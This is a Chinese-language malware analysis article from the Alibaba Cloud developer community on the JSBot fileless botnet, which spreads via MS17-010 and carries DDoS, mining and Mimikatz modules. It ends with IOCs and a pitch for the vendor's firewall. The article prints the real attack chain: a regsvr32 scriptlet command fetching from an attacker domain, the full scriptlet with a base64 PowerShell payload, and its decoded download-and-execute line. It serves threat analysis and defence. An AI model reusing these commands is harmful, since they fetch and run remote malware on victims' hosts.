JSBot无文件攻击,云安全网络全链路防御-阿里云开发者社区

开发者社区> 开发与运维> 正文
登录阅读全文

JSBot无文件攻击,云安全网络全链路防御

简介: 近日,阿里云安全监测到一种利用Javascript无文件技术实现C&C通信的新型僵尸网络,其核心交互无文件落盘并由JS加载下载Powershell脚本内存执行各类恶意操作,阿里云安全专家分析发现,该僵尸网络利用永恒之蓝漏洞进行扫描入侵,对主机、用户资产危害极大。

概述


近日,阿里云安全监测到一种利用Javascript无文件技术实现C&C通信的新型僵尸网络,其核心交互无文件落盘并由JS加载下载Powershell脚本内存执行各类恶意操作,由于核心使用了WSC技术我们将其命名为JSBot。


阿里云安全专家分析发现,该僵尸网络利用永恒之蓝漏洞进行扫描入侵,通过WSC(Windows Scripting Component)技术下载并执行核心Powershell脚本,实现文件下载、上传、对外DDoS、挖矿、盗取密码等功能,对主机、用户资产危害极大。


阿里云安全持续对该BOT进行监控,发现近期传播有所上升,提醒广大用户注意防护。1627550750329-c997bf7a-ab95-4958-86d8-5c5f65f5757c.png

传播手段


JSBOT通过MS17-010漏洞进行入侵和传播,利用WSC技术实现无文件化的维持和后续攻击,通过从云端下载经过编码的二进制文件,实现对外DDoS和挖矿行为,通过Powershell核心函数实现对失陷主机的下载、发送文件、WMIExec等功能。


20210730141455.jpg

阶段分析


20210730141616.jpg


详细分析


JSBot通过MS17-010漏洞入侵主机内部后,通过进行svchost.exe执行命令派生cmd进程。该命令从域名cat.xiaoshabi.nl下载一段XML文件,该文件使用JavaScript编写的COM组件WSC(Windows Scripting Component),由于脚本文件不能被编译,只能运行于Windows系统的脚本宿主机WSH(Windows Scripting Host)中,全程文件不落盘,这也给文件查杀、木马清理带来了难度。其执行的命令如下:


C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll


文件名为networks.xsl的XML文件内容如下,通过新建 ActiveXObject("WScript.Shell").Run(ps,0,true) 执行一段powershell经过Base64加密的脚本


​<?XML version="1.0"?>

<scriptlet>

<registration

progid="Test"

classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

<!-- Learn from Casey Smith @subTee -->

<script language="JScript">

<![CDATA[

ps = "cmd.exe /c powershell.exe -nop -noni -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBzAGkAeAAuAHgAaQBhAG8AagBpAGoAaQAuAG4AbAAvAG4AZQB0AHcAbwByAGsAcwAuAHAAcwAxACcAKQApAA=="; new ActiveXObject("WScript.Shell").Run(ps,0,true);

]]>

</script>

</registration>

</scriptlet>


其中命令部分经base64解码后内容如下,JSBot从 six.xiaojiji.nl 域名下载进过混淆的脚本 networks.ps1


IEX ((new-object net.webclient).downloadstring('http://six.xiaojiji.nl/networks.ps1'))


networks.ps1包含三个参数,参数经过过base64或混淆


20210730142010.jpg

对文件进行解码后参数功能可以归结如下20210730142057.jpg

$ffffff解码出的核心函数

函数Download_File,调用[System.IO.File]::WriteAllBytes("$env:temp$Filename", $temp)从失陷主机下载文件

20210730142208.jpg

函数RunDDOS,从 http://xxx.xxx.xxx.xxx/cohernece.txt 下载DDOS文件到C:\Windows\TEMP\cohernece.exe目录并执行

20210730142250.jpg

函数RunXMR,从 http://xxx.xxx.xxx.xxx/steam.txt 下载挖矿木马并执行20210730142328.jpg

函数Get-creds,盗取内存中的秘钥

20210730142509.jpg

函数Scan,利用MS17-010对外进行扫描

20210730142549.jpg

整体解码后可以得到JSBot如下核心功能

20210730142632.jpg

$miiiiii参数解码二进制

Dll导出函数中包含powershell_reflective_mimikatz

20210730142738.jpg

文件中对该Mimikatz工具进行了集成

20210730142820.jpg

逃逸手段分析

JSBot为了规避检测在整体流程中采用了多种组合方式,其中比较典型的有以下几类

无文件内存化运行

JSBot通过regsvR32执行命令,调用scrobj.dll的DllInstall函数,将URL中所带的COM组件写入注册表中,由于脚本运行于Windows平台上的脚本宿主机WSH(Widnows Scripting Host),故文件可以不落盘。

C:\\Windows\\system32\\regsvR32.EXE /u/s/i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll


而在Powershell脚本中JSBot通过一系列函数在内存空间中将PE写入,同样实现了无文件落盘的操作,如图写内存函数

20210730142956.jpg

程序执行入口

20210730143033.jpg

JSBot使用WMIExec来远程执行命令,Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入磁盘。

20210730143117.jpg

脚本多层多类型混淆

JSBot对核心函数做了两次混淆,核心功能在参数$ffffff中,同时针对Powershell使用了任意大小写、反引号、拼接等多种混淆手段,增加分析和检测难度。

20210730143209.jpg

二进制编码内存还原

JSBot从远程服务下载二进制时,对二进制文件进行了文本化,以逃避网络侧流量的检测,在脚本中再进行解码还原,如下为下载的DDoS木马。

20210730143303.jpg

Powershell中对二进制文件进行还原函数如下

20210730143409.jpg

安全解决方案

云防火墙利用图计算结合流实时计算,可以在近实时对攻击报文进行分析,依赖图计算存储的亿级IOC节点对外联IP、域名、URL进行团伙化标签,依托流实时化分析系统得到团伙攻击Payload、攻击URL、攻击端口等信息,有效提升对蠕虫木马类攻击的检测防御能力。当前云防火墙支持对JSBOT进行防御与检测。


20210730143605.jpg

云防火墙主动外联功能结合阿里云千万级别活跃IP、域名威胁情报库(包含勒索软件、间谍软件、僵尸网络、木马后门等分类),对外联IP、域名进行实时监控,通过“建议操作”可以查看实时流量日志或通过智能策略对外联、域名进行管控、封禁,保障您的资产不遭受更大的损失。

20210730143807.jpg

IOC

IP

5.180.96.187

Domain

cat.dashabi.in

skt.dashabi.nl

safe.lxb.monster

cat.xiaojiji.nl

skt.xiaojiji.nl

sec.xiaojiji.nl

URL

hxxp://cat.dashabi.in/networks.xsl

hxxp://sec.dashabi.in/javaw2/net/net.xsl

hxxp://sec.dashabi.in/javaw2/instance.xsl

hxxp://skt.dashabi.nl/networks.xsl

hxxp://cat.xiaojiji.nl/cohernece.txt

hxxp://cat.xiaojiji.nl/sys.txt

hxxp://skt.xiaojiji.nl/ver.txt

hxxp://cat.xiaojiji.nl/access.txt

hxxp://cat.xiaojiji.nl/monhash.txt

hxxp://cat.xiaojiji.nl/net/net.xsl

hxxp://cat.xiaojiji.nl/minhash.txt

hxxp://cat.xiaojiji.nl/nssmhash.txt

hxxp://cat.xiaojiji.nl/uas.txt

hxxp://cat.xiaojiji.nl/nssm.txt

hxxp://cat.xiaojiji.nl/ver.txt

hxxp://cat.xiaojiji.nl/min.txt

hxxp://cat.xiaojiji.nl/mon.txt

hxxp://sec.xiaojiji.nl/javaw2/instance.ps1

hxxp://sec.xiaojiji.nl/javaw2/javaw

hxxp://sec.xiaojiji.nl/javaw2/WinRing0x64.sys

hxxp://cat.xiaojiji.nl/networks.ps1

hxxp://cat.xiaojiji.nl/networks.xsl

hxxp://cat.xiaojiji.nl:80/net/net.xsl

hxxp://sec.xiaojiji.nl/javaw2/net/net.xsl

hxxp://six.xiaojiji.nl/networks.ps1

hxxp://six.xiaojiji.nl/networks.xsl

hxxp://skt.xiaojiji.nl/list.ps1

hxxp://skt.xiaojiji.nl/networke.ps1

hxxp://skt.xiaojiji.nl/networke.xsl

hxxp://skt.xiaojiji.nl/networks.ps1

hxxp://skt.xiaojiji.nl/networks.xsl

hxxp://safe.lxb.monster/networke.xsl

hxxp://safe.lxb.monster/networks.xsl

MD5

fdf5976964d0c42e4f5b490a2a7dd0c6

8c26218931c743a36987e07af7fc35f4

0ef5da9757386de38b1eb20e1ba0dc45

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章
最新文章
相关文章